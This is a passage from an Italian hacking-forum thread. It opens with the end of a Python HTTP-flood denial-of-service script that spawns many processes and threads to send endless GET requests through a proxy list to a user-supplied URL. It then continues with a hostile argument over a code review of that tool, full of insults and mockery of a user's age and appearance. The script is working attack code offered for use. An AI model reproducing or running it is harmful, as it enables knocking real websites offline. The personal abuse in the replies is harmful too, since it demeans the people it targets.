        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]

class ProcessWorker(multiprocessing.Process):
    def __init__(self, url, array):
        multiprocessing.Process.__init__(self)
        self.url = url
        self.array = array

    def run(self):
        global url, array
        for i in range(100):
            Spammer(self.url, self.array).start()
 
class Spammer(threading.Thread):
 
    def __init__(self, url, array):
        global useragents
        threading.Thread.__init__(self)
        self.url = url
        self.list = array
        self.byte_get = '''GET  %s HTTP/1.1\r\nHost: "%s\r\nUser-Agent: %s\r\n\r\n\r\n'''%(self.url, self.url.replace("http://", "").replace("https://", "").split('/')[0], random.choice(useragents))
    def run(self):
                proxies = random.choice(self.list).split(':')
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                while True:
                    try:
                        sock.connect((proxies[0], int(proxies[1])))
                        sys.stdout.write("HTTP GET Request Proxy: %s | \n"%(proxies[0]))
                        sock.send(self.byte_get.encode())
                    except socket.error:
                        print('Unable to send request') # ti serve pure per capire se il sito è offline
                        time.sleep(1)
 
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)


def main():
    url = get_input_till_is_valid('> Enter url to DoS: ')

    while True:
        proxy_list = get_input_till_is_valid('> Enter the proxy list path: ')
        try:
            in_file = open(proxy_list,"r")
            array = []
            for i in in_file:
                array.append(i.split("/n")[0])
            break
        except IOError as e:
            print('Error while reading the text file')

    num_processes = get_input_till_is_valid('> Enter number of processes[6]: ', False)
 
    print('Starting >>> 100 thread * %s process = %s'%(num_processes, 200*num_processes))

    time.sleep(2)
    for i in range(num_processes):
        ProcessWorker(url, array).start()
 
if __name__ == '__main__':
    main()

questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.
A me dai l'impressione che stai parlando del nulla cosmico, praticamente nella parte iniziale hai parlato di cazzate in quanto ognuno può chiamare le variabili come vuole per comodità, poi nella seconda parte hai detto che quelle funzioni non servono a nulla, ti correggo; quelle funzioni sono testate ed hanno un funzionamento ben preciso, inoltre hai aggiunto una funzione lunghissima evitabile come abbiamo fatto noi
 
  • Mi piace
Reazioni: B4ckdoor
A me dai l'impressione che stai parlando del nulla cosmico, praticamente nella parte iniziale hai parlato di cazzate in quanto ognuno può chiamare le variabili come vuole per comodità, poi nella seconda parte hai detto che quelle funzioni non servono a nulla, ti correggo; quelle funzioni sono testate ed hanno un funzionamento ben preciso, inoltre hai aggiunto una funzione lunghissima evitabile come abbiamo fatto noi
Non lo ho manco notata la sorgente di lui e riguardandola.... solo leggendo la parte delle variabili mi sono messo a piangere hahaha
 
Non lo ho manco notata la sorgente di lui e riguardandola.... solo leggendo la parte delle variabili mi sono messo a piangere hahaha
Non ho ancora controllato bene il source perché non ho avuto tempo... Ma comunque l'utente che l'ha postato non mi sembra un noob, anzi a giudicare dalle sue release/messaggi sembra il contrario... Ripeto, ancora non ho visto il source, può darsi che mi sbaglio

Inviato dal mio ALE-L21 utilizzando Tapatalk
 
Non ho ancora controllato bene il source perché non ho avuto tempo... Ma comunque l'utente che l'ha postato non mi sembra un noob, anzi a giudicare dalle sue release/messaggi sembra il contrario... Ripeto, ancora non ho visto il source, può darsi che mi sbaglio

Inviato dal mio ALE-L21 utilizzando Tapatalk
Io non giudico di certo, ma quella parte non si poteva leggere. non sto dicendo che è un nabbo. :)
 
Ultima modifica:
A me dai l'impressione che stai parlando del nulla cosmico, praticamente nella parte iniziale hai parlato di cazzate in quanto ognuno può chiamare le variabili come vuole per comodità, poi nella seconda parte hai detto che quelle funzioni non servono a nulla, ti correggo; quelle funzioni sono testate ed hanno un funzionamento ben preciso, inoltre hai aggiunto una funzione lunghissima evitabile come abbiamo fatto noi
Io non giudico di certo, ma quella parte non si poteva leggere. non sto dicendo che è un nabbo. :)
Vi consiglierei di dare un'occhiata più approfondita sul code reviewing. Non per vantarmi, ma sono un utente di http://codereview.stackexchange.com, un sito web che fa parte della stessa rete di StackOverflow che tratta solo la richiesta dell'analisi dettagliata di diversi codici di diversi linguaggi di programmazione in particolare, ed io ho esperienza con l'analisi di codici. Mi sarei immaginato che qualcuno avrebbe attribuito in un modo o nell'altro cazzata la convenzione del naming, stile del codice e altro, ma non è così. Più o meno righe di codice non indicano codice corretto o incorretto. Imparate bene a rispettare gli idiomi dei linguaggi di programmazione che usate, poi ne riparliamo.
Credo comunque che sia inutile parlarne con due pibi che fanno gli sbruffoni sugli altri con un codice che hanno scritto (pure male) di cui non sanno nemmeno quello che fa (o mi sbaglio?). Poi magari inizi a dirmi cosa fa esattamente questa funzione:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')
e come fa ad aprire l'url (Could not open specified url) richiamando solo il metodo input(), che serve a fare tutt'altro. Fammi pure un esempio di quando può fallire nel tuo caso la funzione input(), magari potremmo capire il nesso del tuo codice (hai scritto che sai bene quello che fa il tuo codice, e sicuramente sai pure che la clausola except ti servirà a catturare errori nel caso che input fallisca).
 
Per quale motivo la funzione input dovrebbe risultare non appropriata?
Sono soltanto un novello che cerca di apprendere un po' di più, no flame please ^^
 
Per quale motivo la funzione input dovrebbe risultare non appropriata?
Sono soltanto un novello che cerca di apprendere un po' di più, no flame please ^^
Lo dovrei chiedere io a te. Perchè ... la funzione input dovrebbe risultare non appropriata? Cita dove l'ho scritto, ti risponderei volentieri.
 
Vi consiglierei di dare un'occhiata più approfondita sul code reviewing. Non per vantarmi, ma sono un utente di http://codereview.stackexchange.com, un sito web che fa parte della stessa rete di StackOverflow che tratta solo la richiesta dell'analisi dettagliata di diversi codici di diversi linguaggi di programmazione in particolare, ed io ho esperienza con l'analisi di codici. Mi sarei immaginato che qualcuno avrebbe attribuito in un modo o nell'altro cazzata la convenzione del naming, stile del codice e altro, ma non è così. Più o meno righe di codice non indicano codice corretto o incorretto. Imparate bene a rispettare gli idiomi dei linguaggi di programmazione che usate, poi ne riparliamo.
Credo comunque che sia inutile parlarne con due pibi che fanno gli sbruffoni sugli altri con un codice che hanno scritto (pure male) di cui non sanno nemmeno quello che fa (o mi sbaglio?). Poi magari inizi a dirmi cosa fa esattamente questa funzione:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')
e come fa ad aprire l'url (Could not open specified url) richiamando solo il metodo input(), che serve a fare tutt'altro. Fammi pure un esempio di quando può fallire nel tuo caso la funzione input(), magari potremmo capire il nesso del tuo codice (hai scritto che sai bene quello che fa il tuo codice, e sicuramente sai pure che la clausola except ti servirà a catturare errori nel caso che input fallisca).
hahahahahahha vai a casa perfavore Professore , allora se non ti va bene il codice mediocre te ne puoi anche andare e non fare versioni migliorate o cazzate del genere, ok? grazie.

Nn fnziona elp
??
 
hahahahahahha vai a casa perfavore Professore , allora se non ti va bene il codice mediocre te ne puoi anche andare e non fare versioni migliorate o cazzate del genere, ok? grazie.
@B4ckdoor, io ti stimo per quello che fai/hai fatto nella community, ma secondo me non avresti dovuto reagire così. Se non ti sta bene che qualcuno migliori il tuo codice che tu reputi "solenne", tanto valeva non metterlo opensource e distribuirlo compilato e con codice offuscato. A mio parere bisogna sempre dare spazio alle opinioni di chi ha più esperienza, perché appunto i capelli bianchi (senza offesa per @nullptr lol)danno sempre insegnamenti. Del resto, niente può essere perfetto, la perfezione non esiste. L'utente ha semplicemente speso il suo tempo (inutilmente visto le reazioni degli sviluppatori) analizzando il codice e cercando di migliorarlo dandovi delle dritte spaziando anche su più fronti. Se qualcuno avesse fatto una cosa del genere per Hibernet, mi sarei sentito eccitato di sapere cosa potevo fare meglio e quali sono stati i miei errori, visto che sono uno sviluppatore agli inizi, e che ha ancora molto da imparare. Se continui a pensare che il codice è perfetto, ben venga, non sarò io di certo a tentare di fermarti nel pensarlo. Per il resto, questa è una community, e credo sia un posto dove tutti contribuiscono imparando qualcosa dagli altri. Siccome tu e gli sviluppatori di Backself non siete stupidi, credo che le cose che ho detto prima non siano troppo difficili da comprendere, e spero che abbiate capito. Peace.

Inviato dal mio ALE-L21 utilizzando Tapatalk
 
  • Mi piace
Reazioni: nullptr
@B4ckdoor, io ti stimo per quello che fai/hai fatto nella community, ma secondo me non avresti dovuto reagire così. Se non ti sta bene che qualcuno migliori il tuo codice che tu reputi "solenne", tanto valeva non metterlo opensource e distribuirlo compilato e con codice offuscato. A mio parere bisogna sempre dare spazio alle opinioni di chi ha più esperienza, perché appunto i capelli bianchi (senza offesa per @nullptr lol)danno sempre insegnamenti. Del resto, niente può essere perfetto, la perfezione non esiste. L'utente ha semplicemente speso il suo tempo (inutilmente visto le reazioni degli sviluppatori) analizzando il codice e cercando di migliorarlo dandovi delle dritte spaziando anche su più fronti. Se qualcuno avesse fatto una cosa del genere per Hibernet, mi sarei sentito eccitato di sapere cosa potevo fare meglio e quali sono stati i miei errori, visto che sono uno sviluppatore agli inizi, e che ha ancora molto da imparare. Se continui a pensare che il codice è perfetto, ben venga, non sarò io di certo a tentare di fermarti nel pensarlo. Per il resto, questa è una community, e credo sia un posto dove tutti contribuiscono imparando qualcosa dagli altri. Siccome tu e gli sviluppatori di Backself non siete stupidi, credo che le cose che ho detto prima non siano troppo difficili da comprendere, e spero che abbiate capito. Peace.

Inviato dal mio ALE-L21 utilizzando Tapatalk
Come devo regiare quando leggo cose x me che fanno ridere? dirgli bravo bravo e secondo te quando questo qua mi insulta dicendomi che non so cosa ho creato non so programmare e str0nzat* del genere, come dovrei prenderlla? il mio primo commento qual'è stato? certo puoi mettere ogni versione modificata di b4ckself con unofficial ecc.. ecc. è lui che ha reagito male pensando che era una presa x il cul* e comunque non ho tempo da perdere per scrivere ste cose.
 
Ultima modifica:
hahahahahahha vai a casa perfavore Professore , allora se non ti va bene il codice mediocre te ne puoi anche andare e non fare versioni migliorate o cazzate del genere, ok? grazie.


??
Dopo questa mi domando quanti anni hai (intellettualmente)? A che scopo secondo te serve pubblicare le sorgenti? Sicuramente non a farsi i fighi giusto per dare l'impressione di saper programmare.
Come devo regiare quando leggo cose x me che fanno ridere? dirgli bravo bravo e secondo te quando questo qua mi insulta dicendomi che non so cosa ho creato non so programmare e str0nzat* del genere, come dovrei prenderlla? il mio primo commento qual'è stato? certo puoi mettere ogni versione modificata di b4ckself con unofficial ecc.. ecc. è lui che ha reagito male pensando che era una presa x il cul* e comunque non ho tempo da perdere per scrivere ste cose.
Hai interpretato male quello che ho scritto, evidentemente sei stato preso troppo dalla tua permalosità che fantastichi di aver letto non so che tipo di insulti:
Imparate bene a rispettare gli idiomi dei linguaggi di programmazione che usate, poi ne riparliamo.
Credo comunque che sia inutile parlarne con due pibi che fanno gli sbruffoni sugli altri con un codice che hanno scritto (pure male) di cui non sanno nemmeno quello che fa (o mi sbaglio?).
ho detto quello che so fino ad ora: non sapete rispettare gli idiomi del python, state facendo gli sbruffoni su un codice che avete scritto (male) e non sapete nemmeno quello che fa. Questa apparente insolenza, che ripeto che tu la vedi perchè sei permaloso, non è data dal mio odio nei vostri confronti, bensì da quello che leggo:
quelle funzioni sono testate ed hanno un funzionamento ben preciso
ora, lasciando perdere il vostro orgoglio da programmatori, dato che lo avete testato, potreste rispondere alla mia domanda?
Poi magari inizi a dirmi cosa fa esattamente questa funzione:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')
e come fa ad aprire l'url (Could not open specified url) richiamando solo il metodo input(), che serve a fare tutt'altro. Fammi pure un esempio di quando può fallire nel tuo caso la funzione input(), magari potremmo capire il nesso del tuo codice (hai scritto che sai bene quello che fa il tuo codice, e sicuramente sai pure che la clausola except ti servirà a catturare errori nel caso che input fallisca).
che tra l'altro preciso che non l'ho fatta per far vedere che prevalgo su di voi, sto solo provando a convincerti che in realtà non sai quello che fai e che il codice non è perfetto come pensi.
 
Dopo questa mi domando quanti anni hai (intellettualmente)? A che scopo secondo te serve pubblicare le sorgenti? Sicuramente non a farsi i fighi giusto per dare l'impressione di saper programmare.

Hai interpretato male quello che ho scritto, evidentemente sei stato preso troppo dalla tua permalosità che fantastichi di aver letto non so che tipo di insulti:

ho detto quello che so fino ad ora: non sapete rispettare gli idiomi del python, state facendo gli sbruffoni su un codice che avete scritto (male) e non sapete nemmeno quello che fa. Questa apparente insolenza, che ripeto che tu la vedi perchè sei permaloso, non è data dal mio odio nei vostri confronti, bensì da quello che leggo:

ora, lasciando perdere il vostro orgoglio da programmatori, dato che lo avete testato, potreste rispondere alla mia domanda?

che tra l'altro preciso che non l'ho fatta solo per far vedere che prevalgo su di voi, sto solo provando a convincerti che in realtà non sai quello che fai e che il codice non è perfetto come pensi.
Ma cosa devi prevalere che manco importanza ti sto dando, scrivi quello che vuoi tanto non leggo nemmeno ste cazzate da professore, ciao ,
 
Ma cosa devi prevalere che manco importanza ti sto dando, scrivi quello che vuoi tanto non leggo nemmeno ste cazzate da professore, ciao ,
Ah, scusa. Avevo messo una parola in più, adesso ho sistemato:
che tra l'altro preciso che non l'ho fatta per far vedere che prevalgo su di voi, sto solo provando a convincerti che in realtà non sai quello che fai e che il codice non è perfetto come pensi.
io a differenza tua non sono arrogante e avrei accettato i consigli, come qualsiasi persona normale avrebbe fatto (guarda la repo github). Da adesso, tu che le giudichi cazzate, non osare a pubblicare più le sorgenti ed abbassa la cresta, moccioso.
 
Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......

Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......
 
  • Mi piace
Reazioni: B4ckdoor
Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......

Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......
Non é per fare l'avvocato del diavolo, e sì, più di una volta(più che altro col vecchio account) ha mostrato una certa saccenza nei commenti, ma questo non é assolutamente il caso. Qui ha semplicemente fatto delle critiche costruttive che l'autore del programma non ha preso bene, basta.
 
  • Mi piace
Reazioni: B4ckdoor
E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Avevo la maturità quest'estate, da non nascondere, ma siamo passati da programmazione a gossip gratuito? Probabile che l'ho scritto in qualche parte del forum e tu per non farti i caz.zi tuoi (con tutto il rispetto, sei una testa di caz.zo) sei andato a controllare ogni mio post, ma questo ha attinenza con il tema principale della discussione? Tra l'altro è utile porsi qualche domanda d'esempio: ammettendo che io scrivo su internet che ho 30 anni, tu come fai a sapere che ho veramente 30 anni o che in realtà ne ho 18? La stessa cosa vale per i 'baffetti'. Dici che non ho i 'baffetti in volto' quando non puoi prorio dimostrare niente perchè non mi conosci e non mi hai visto, quindi devi tacere. Visto che ti piace giudicare l'aspetto fisico di una persona a caso che nemmeno hai visto, io vorrei abbassarmi ai tuoi livelli e, continuando con l'esempio fatto in precedenza, io invece sì che posso dire se hai i baffetti o meno dato che non fai altro che mostrare la tua faccia su tutorial inutili e fatti male del C++. Hai a stento 2 peletti prepubertosi sotto il naso che già avevo io a 12 anni e una bambina di 15 ha più basette di te. Fidati che ambedue le situazioni non sono false. Non c'è niente di male su questo, ma almeno evita di parlarne visto come sei messo tu.

Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.
Almeno nel mio paese, da un istituto tecnico non si ci esce 'a caso'. Non mi voglio mica mostrare (se pensi che io voglia fare o faccia solo questo invece ti sbagli di grosso, non mi conosci assolutamente e non sto solo su inforge a pubblicare release o a criticare costruttivamente il primo che vedo):
spara merd* a tutti aggratis millantando competenze MAI dimostrate
dove mi vanto delle mie competenze? Anche se fosse così, non sono il tipo che dice solo che è un genio in programmazione o altro, io direttamente passo alla critica del codice vero e proprio se mai dovessi farlo, poi se tu mi credi vanitoso pure in questo caso sono solo fatti tuoi.

Riguardo ad ubrute (che come sempre non c'entra comunque con la discussione), cosa hai da dire? Non avevo completato il progetto e non so se mai lo farò, ma avevo scritto su windows il core in c++ e c'è un utente Inforge che può testimoniare (che non metto in mezzo in questa discussione). Poi ho perso il progetto in un modo o nell'altro perchè ho tolto completamente windows e ho riscritto lo stesso core in c# e pubblicato su inforge (stesso procedimento). Anzi, anche se ho perso quel progetto, ti posso assicurare che è facilissimo da riscriverlo.

Ah, giusto per levarti di torno l'impressione che io mi vanti e basta: non conosco il python. Oh, non ve ne eravate accorti? L'ho già scritto da qualche parte su inforge, ma, anche se non lo conosco, io almeno mi documento prima di scrivere cazz.ate.

più di una volta(più che altro col vecchio account) ha mostrato una certa saccenza nei commenti
Col vecchio account, al 60% trollavo e al 40% criticavo ma tentavo comunque di essere sempre più costruttivo possibile.
 
Avevo la maturità quest'estate, da non nascondere, ma siamo passati da programmazione a gossip gratuito? Probabile che l'ho scritto in qualche parte del forum e tu per non farti i caz.zi tuoi (con tutto il rispetto, sei una testa di caz.zo) sei andato a controllare ogni mio post, ma questo ha attinenza con il tema principale della discussione? Tra l'altro è utile porsi qualche domanda d'esempio: ammettendo che io scrivo su internet che ho 30 anni, tu come fai a sapere che ho veramente 30 anni o che in realtà ne ho 18? La stessa cosa vale per i 'baffetti'. Dici che non ho i 'baffetti in volto' quando non puoi prorio dimostrare niente perchè non mi conosci e non mi hai visto, quindi devi tacere. Visto che ti piace giudicare l'aspetto fisico di una persona a caso che nemmeno hai visto, io vorrei abbassarmi ai tuoi livelli e, continuando con l'esempio fatto in precedenza, io invece sì che posso dire se hai i baffetti o meno dato che non fai altro che mostrare la tua faccia su tutorial inutili e fatti male del C++. Hai a stento 2 peletti prepubertosi sotto il naso che già avevo io a 12 anni e una bambina di 15 ha più basette di te. Fidati che ambedue le situazioni non sono false. Non c'è niente di male su questo, ma almeno evita di parlarne visto come sei messo tu.


Almeno nel mio paese, da un istituto tecnico non si ci esce 'a caso'. Non mi voglio mica mostrare (se pensi che io voglia fare o faccia solo questo invece ti sbagli di grosso, non mi conosci assolutamente e non sto solo su inforge a pubblicare release o a criticare costruttivamente il primo che vedo):

dove mi vanto delle mie competenze? Anche se fosse così, non sono il tipo che dice solo che è un genio in programmazione o altro, io direttamente passo alla critica del codice vero e proprio se mai dovessi farlo, poi se tu mi credi vanitoso pure in questo caso sono solo fatti tuoi.

Riguardo ad ubrute (che come sempre non c'entra comunque con la discussione), cosa hai da dire? Non avevo completato il progetto e non so se mai lo farò, ma avevo scritto su windows il core in c++ e c'è un utente Inforge che può testimoniare (che non metto in mezzo in questa discussione). Poi ho perso il progetto in un modo o nell'altro perchè ho tolto completamente windows e ho riscritto lo stesso core in c# e pubblicato su inforge (stesso procedimento). Anzi, anche se ho perso quel progetto, ti posso assicurare che è facilissimo da riscriverlo.

Ah, giusto per levarti di torno l'impressione che io mi vanti e basta: non conosco il python. Oh, non ve ne eravate accorti? L'ho già scritto da qualche parte su inforge, ma, anche se non lo conosco, io almeno mi documento prima di scrivere cazz.ate.


Col vecchio account, al 60% trollavo e al 40% criticavo ma tentavo comunque di essere sempre più costruttivo possibile.
Ed al 95% cagavi il pube XD
 
Stato
Discussione chiusa ad ulteriori risposte.